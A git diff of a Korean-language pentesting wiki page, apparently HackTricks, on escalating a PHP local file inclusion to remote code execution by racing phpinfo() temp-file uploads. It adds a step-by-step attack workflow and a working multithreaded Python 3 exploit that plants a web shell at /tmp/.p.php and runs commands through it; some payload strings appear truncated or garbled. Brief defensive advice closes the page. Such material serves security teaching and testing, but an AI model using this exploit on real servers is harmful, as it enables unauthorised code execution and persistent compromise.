diff --git a/src/pentesting-web/file-inclusion/lfi2rce-via-phpinfo.md b/src/pentesting-web/file-inclusion/lfi2rce-via-phpinfo.md index ea1327d63..d4c4a8575 100644 --- a/src/pentesting-web/file-inclusion/lfi2rce-via-phpinfo.md +++ b/src/pentesting-web/file-inclusion/lfi2rce-via-phpinfo.md @@ -1,55 +1,160 @@ +# LFI to RCE via PHPInfo + {{#include ../../banners/hacktricks-training.md}} -이 취약점을 이용하려면 다음이 필요합니다: **LFI 취약점, phpinfo()가 표시되는 페이지, "file_uploads = on" 및 서버가 "/tmp" 디렉토리에 쓸 수 있어야 합니다.** +이 기법을 악용하려면 다음 항목을 모두 충족해야 합니다: +- phpinfo() 출력을 보여주는 접근 가능한 페이지. +- 제어 가능한 Local File Inclusion (LFI) primitive (예: 사용자 입력에 대한 include/require). +- PHP 파일 업로드가 활성화되어 있어야 함 (file_uploads = On). 모든 PHP 스크립트는 RFC1867 multipart 업로드를 수용하고 업로드된 각 파트에 대해 임시 파일을 생성합니다. +- PHP 워커가 설정된 upload_tmp_dir(또는 기본 시스템 임시 디렉토리)에 쓸 수 있어야 하며, LFI가 해당 경로를 include할 수 있어야 합니다. -[https://www.insomniasec.com/downloads/publications/phpinfolfi.py](https://www.insomniasec.com/downloads/publications/phpinfolfi.py) +클래식 write-up 및 원본 PoC: +- 백서: LFI with PHPInfo() Assistance (B. Moore, 2011) +- 원본 PoC 스크립트 이름: phpinfolfi.py (백서 및 미러 참조) -**튜토리얼 HTB**: [https://www.youtube.com/watch?v=rs4zEwONzzk\&t=600s](https://www.youtube.com/watch?v=rs4zEwONzzk&t=600s) +Tutorial HTB: https://www.youtube.com/watch?v=rs4zEwONzzk&t=600s -익스플로잇을 수정해야 합니다 ( **=>**를 **=>**로 변경). 그렇게 하려면 다음을 수행할 수 있습니다: +원본 PoC에 대한 주의 사항 +- phpinfo() 출력은 HTML로 인코딩되어 있어 "=>" 화살표가 종종 "=>"로 표시됩니다. 레거시 스크립트를 재사용하는 경우, _FILES[tmp_name] 값을 파싱할 때 두 인코딩을 모두 검색하도록 하세요. +- payload(당신의 PHP 코드), REQ1(패딩을 포함한 phpinfo() 엔드포인트에 대한 요청), 그리고 LFIREQ(LFI sink에 대한 요청)를 대상에 맞게 조정해야 합니다. 일부 대상은 null-byte (%00) terminator가 필요하지 않으며 최신 PHP 버전은 이를 무시합니다. 취약한 sink에 맞게 LFIREQ를 조정하세요. + +HTML로 인코딩된 화살표를 매치하기 위한 예제 sed(오래된 Python2 PoC를 실제로 사용하는 경우에만): ``` -sed -i 's/\[tmp_name\] \=>/\[tmp_name\] =\>/g' phpinfolfi.py +sed -i 's/\[tmp_name\] =>/\[tmp_name\] =>/g' phpinfolfi.py ``` -당신은 공격의 시작 부분에서 **payload**를 변경해야 합니다 (예: php-rev-shell의 경우), **REQ1** (이것은 phpinfo 페이지를 가리켜야 하며 패딩이 포함되어야 합니다, 즉: _REQ1="""POST /install.php?mode=phpinfo\&a="""+padding+""" HTTP/1.1_), 그리고 **LFIREQ** (이것은 LFI 취약점을 가리켜야 합니다, 즉: _LFIREQ="""GET /info?page=%s%%00 HTTP/1.1\r --_ 널 문자 공격 시 이중 "%"를 확인하세요) - {{#file}} LFI-With-PHPInfo-Assistance.pdf {{#endfile}} -### 이론 +## Theory -PHP에서 업로드가 허용되면 파일을 업로드하려고 할 때, 이 파일은 서버가 요청 처리를 완료할 때까지 임시 디렉토리에 저장되며, 그 후 이 임시 파일은 삭제됩니다. +- PHP가 multipart/form-data POST로 file field를 받으면, 내용을 임시 파일(upload_tmp_dir 또는 OS default)에 기록하고 경로를 $_FILES['']['tmp_name']에 노출합니다. 해당 파일은 이동/이름 변경되지 않으면 요청 끝에 자동으로 제거됩니다. +- 요점은 임시 이름을 알아내어 PHP가 정리하기 전에 LFI로 포함시키는 것입니다. phpinfo()는 $_FILES를 출력하며 tmp_name을 포함합니다. +- 요청 헤더/파라미터를 부풀려(padding) phpinfo() 출력의 초기 청크를 요청이 끝나기 전에 클라이언트로 플러시하게 만들면, 임시 파일이 여전히 존재하는 동안 tmp_name을 읽고 즉시 그 경로로 LFI를 호출할 수 있습니다. -그런 다음, 웹 서버에서 LFI 취약점을 발견하면 생성된 임시 파일의 이름을 추측하고 삭제되기 전에 임시 파일에 접근하여 RCE를 악용할 수 있습니다. +In Windows the temp files are commonly under something like C:\\Windows\\Temp\\php*.tmp. In Linux/Unix they are usually in /tmp or the directory configured in upload_tmp_dir. -**Windows**에서는 파일이 일반적으로 **C:\Windows\temp\php**에 저장됩니다. +## Attack workflow (step by step) -**Linux**에서는 파일 이름이 **무작위**이며 **/tmp**에 위치합니다. 이름이 무작위이기 때문에 **어딘가에서 임시 파일의 이름을 추출해야** 하며 삭제되기 전에 접근해야 합니다. 이는 "**phpconfig()**" 함수의 내용 내에서 **변수 $\_FILES**의 값을 읽음으로써 수행할 수 있습니다. - -**phpinfo()** - -**PHP**는 **4096B**의 버퍼를 사용하며, 버퍼가 **가득 차면** 클라이언트에게 **전송됩니다**. 그런 다음 클라이언트는 **많은 큰 요청을 보낼 수 있습니다** (큰 헤더를 사용하여) **php** 리버스 **쉘을 업로드하고**, **phpinfo()의 첫 번째 부분이 반환될 때까지 기다립니다** (임시 파일의 이름이 있는 곳) 그리고 LFI 취약점을 악용하여 php 서버가 파일을 삭제하기 전에 **임시 파일에 접근하려고 시도합니다**. - -**이름을 무작위로 추측하기 위한 Python 스크립트 (길이 = 6)** -```python -import itertools -import requests -import sys - -print('[+] Trying to win the race') -f = {'file': open('shell.php', 'rb')} -for _ in range(4096 * 4096): -requests.post('http://target.com/index.php?c=index.php', f) - - -print('[+] Bruteforcing the inclusion') -for fname in itertools.combinations(string.ascii_letters + string.digits, 6): -url = 'http://target.com/index.php?c=/tmp/php' + fname -r = requests.get(url) -if 'load average' in r.text: # '); +``` +2) phpinfo() 페이지로 대용량 multipart POST를 직접 전송하여 페이로드가 포함된 임시 파일이 생성되게 한다. 조기 출력을 유도하기 위해 여러 헤더/쿠키/파라미터를 약 5–10KB 정도의 패딩으로 부풀려라. form 필드 이름이 $_FILES에서 파싱할 이름과 일치하는지 확인하라. + +3) phpinfo() 응답이 아직 스트리밍 중일 때, 부분적으로 수신된 바디를 파싱해 $_FILES['']['tmp_name'] (HTML-encoded)를 추출하라. 전체 절대 경로(예: /tmp/php3Fz9aB)를 확보하자마자 해당 경로를 포함하도록 LFI를 발동시켜라. include()가 임시 파일이 삭제되기 전에 실행되면 페이로드가 실행되어 /tmp/.p.php가 생성된다. + +4) 생성된 파일을 사용하라: GET /vuln.php?include=/tmp/.p.php&x=id (또는 LFI로 포함할 수 있는 경로)로 명령을 안정적으로 실행할 수 있다. + +> 팁 +> - 레이스에서 이길 확률을 높이려면 여러 병렬 워커(workers)를 사용하라. +> - 일반적으로 도움이 되는 패딩 위치: URL parameter, Cookie, User-Agent, Accept-Language, Pragma. 대상에 맞게 조정하라. +> - 취약한 sink가 확장자(예: .php)를 덧붙인다면 null byte는 필요 없다; include()는 임시 파일 확장자와 관계없이 PHP를 실행한다. + +## Minimal Python 3 PoC (socket-based) + +아래 스니펫은 핵심 부분에만 초점을 맞추어 legacy Python2 스크립트보다 수정하기 쉽다. HOST, PHPSCRIPT (phpinfo endpoint), LFIPATH (path to the LFI sink), 및 PAYLOAD를 커스터마이즈하라. +```python +#!/usr/bin/env python3 +import re, html, socket, threading + +HOST = 'target.local' +PORT = 80 +PHPSCRIPT = '/phpinfo.php' +LFIPATH = '/vuln.php?file=%s' # sprintf-style where %s will be the tmp path +THREADS = 10 + +PAYLOAD = ( +"'); ?>\r\n" +) +BOUND = '---------------------------7dbff1ded0714' +PADDING = 'A' * 6000 +REQ1_DATA = (f"{BOUND}\r\n" +f"Content-Disposition: form-data; name=\"f\"; filename=\"a.txt\"\r\n" +f"Content-Type: text/plain\r\n\r\n{PAYLOAD}{BOUND}--\r\n") + +REQ1 = (f"POST {PHPSCRIPT}?a={PADDING} HTTP/1.1\r\n" +f"Host: {HOST}\r\nCookie: sid={PADDING}; o={PADDING}\r\n" +f"User-Agent: {PADDING}\r\nAccept-Language: {PADDING}\r\nPragma: {PADDING}\r\n" +f"Content-Type: multipart/form-data; boundary={BOUND}\r\n" +f"Content-Length: {len(REQ1_DATA)}\r\n\r\n{REQ1_DATA}") + +LFI = ("GET " + LFIPATH + " HTTP/1.1\r\nHost: %s\r\nConnection: close\r\n\r\n") + +pat = re.compile(r"\\[tmp_name\\]\\s*=>\\s*([^\\s<]+)") + + +def race_once(): +s1 = socket.socket() +s2 = socket.socket() +s1.connect((HOST, PORT)) +s2.connect((HOST, PORT)) +s1.sendall(REQ1.encode()) +buf = b'' +tmp = None +while True: +chunk = s1.recv(4096) +if not chunk: +break +buf += chunk +m = pat.search(html.unescape(buf.decode(errors='ignore'))) +if m: +tmp = m.group(1) +break +ok = False +if tmp: +req = (LFI % tmp).encode() % HOST.encode() +s2.sendall(req) +r = s2.recv(4096) +ok = b'.p.php' in r or b'HTTP/1.1 200' in r +s1.close(); s2.close() +return ok + +if __name__ == '__main__': +hit = False +def worker(): +nonlocal_hit = False +while not hit and not nonlocal_hit: +nonlocal_hit = race_once() +if nonlocal_hit: +print('[+] Won the race, payload dropped as /tmp/.p.php') +exit(0) +ts = [threading.Thread(target=worker) for _ in range(THREADS)] +[t.start() for t in ts] +[t.join() for t in ts] +``` +## 문제 해결 +- You never see tmp_name: Ensure you really POST multipart/form-data to phpinfo(). phpinfo() prints $_FILES only when an upload field was present. +- Output doesn’t flush early: Increase padding, add more large headers, or send multiple concurrent requests. Some SAPIs/buffers won’t flush until larger thresholds; adjust accordingly. +- LFI path blocked by open_basedir or chroot: You must point the LFI to an allowed path or switch to a different LFI2RCE vector. +- Temp directory not /tmp: phpinfo() prints the full absolute tmp_name path; use that exact path in the LFI. + +## 방어상의 주의사항 +- Never expose phpinfo() in production. If needed, restrict by IP/auth and remove after use. +- Keep file_uploads disabled if not required. Otherwise, restrict upload_tmp_dir to a path not reachable by include() in the application and enforce strict validation on any include/require paths. +- Treat any LFI as critical; even without phpinfo(), other LFI→RCE paths exist. + +## 관련 HackTricks 기법 + +{{#ref}} +lfi2rce-via-temp-file-uploads.md +{{#endref}} + +{{#ref}} +via-php_session_upload_progress.md +{{#endref}} + +{{#ref}} +lfi2rce-via-nginx-temp-files.md +{{#endref}} + +{{#ref}} +lfi2rce-via-eternal-waiting.md +{{#endref}} + + + +## 참고자료 +- LFI With PHPInfo() Assistance whitepaper (2011) – Packet Storm mirror: https://packetstormsecurity.com/files/download/104825/LFI_With_PHPInfo_Assitance.pdf +- PHP Manual – POST method uploads: https://www.php.net/manual/en/features.file-upload.post-method.php {{#include ../../banners/hacktricks-training.md}}